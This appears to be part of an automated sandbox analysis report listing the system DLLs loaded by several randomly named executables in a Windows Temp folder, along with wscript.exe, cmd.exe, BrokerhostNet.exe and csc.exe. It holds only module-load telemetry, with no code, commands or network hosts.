Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: mscoree.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: apphelp.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: kernel.appcore.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: version.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: uxtheme.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: windows.storage.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: wldp.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: profapi.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: cryptsp.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: rsaenh.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: cryptbase.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: sspicli.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: ktmw32.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: ntmarta.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: wbemcomn.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: propsys.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: dlnashext.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: wpdshext.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: edputil.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: urlmon.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: iertutil.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: srvcli.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: netutils.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: wintypes.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: appresolver.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: bcp47langs.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: slc.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: userenv.dll
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
